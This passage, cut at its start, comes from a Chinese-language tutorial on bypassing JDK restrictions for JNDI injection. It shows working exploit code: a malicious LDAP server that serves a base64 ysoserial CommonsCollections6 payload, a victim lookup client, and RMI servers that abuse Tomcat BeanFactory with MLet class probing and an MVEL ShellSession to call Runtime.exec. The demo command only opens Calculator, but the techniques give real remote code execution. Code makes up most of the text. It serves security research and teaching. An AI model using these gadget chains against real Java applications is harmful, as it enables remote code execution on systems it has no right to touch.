cy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

LDAP Server關鍵代碼如下,我們在javaSerializedData字段內填入剛剛生成的反序列化payload數據:

package jndi_rmi_injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;


public class ldap_javaSerializedData_server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        public OperationInterceptor () {
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            e.addAttribute("javaClassName", "Exploit");
            try {
                // java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

模擬受害者進行JNDI lookup操作,或者使用Fastjson等漏洞模擬觸發,即可看到彈計算器的命令被執行。

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        try{
            String url = "ldap://localhost:1389/Exploit";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(url);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

這種繞過方式需要利用一個本地的反序列化利用鏈,如CommonsCollections或者結合Fastjson等漏洞入口點和JdbcRowSetImpl進行組合利用。

利用CLASSPATH不那麼常見的類構造gadget

1、javax.management.loading.MLet 探測類是否存在

javax.management.loading.MLet這個類,通過其loadClass方法可以探測目標是否存在某個可利用類(例如java原生反序列化的gadget)

由於javax.management.loading.MLet繼承自URLClassLoader,其addURL方法會訪問遠程服務器,而loadClass方法可以檢測目標是否存在某個類,因此可以結合使用,檢測某個類是否存在。

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class MLet_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef ref = new ResourceRef("javax.management.loading.MLet", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
            ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
            ref.add(new StringRefAddr("b", "http://127.0.0.1:8081/"));
            ref.add(new StringRefAddr("c", "andrew_hann_class"));
            //觸發點在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面出現404,則說明前面對ELProcessor類的加載成功了。當loadClass需要加載的類不存在時,則會直接報錯,不進入遠程類的訪問,因此http端收不到GET請求。 

2、org.mvel2.sh.ShellSession.exec()

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
</dependency>

服務端代碼如下,

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class mvel2_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            ref.add(new StringRefAddr("forceString", "a=exec"));
            ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"));
            //觸發點在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

參考鏈接: 

https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html 
https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo 
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://zhuanlan.zhihu.com/p/471482692
https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/
https://koalr.me/posts/commonscollections-deserialization/
https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE
https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/ 
https://www.cnblogs.com/expl0it/p/13882169.html
https://blog.csdn.net/weixin_45682070/article/details/121888247
https://www.cnblogs.com/zpchcbd/p/14941783.html
https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/
https://www.cnblogs.com/bitterz/p/15946406.html
https://tttang.com/archive/1405/

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章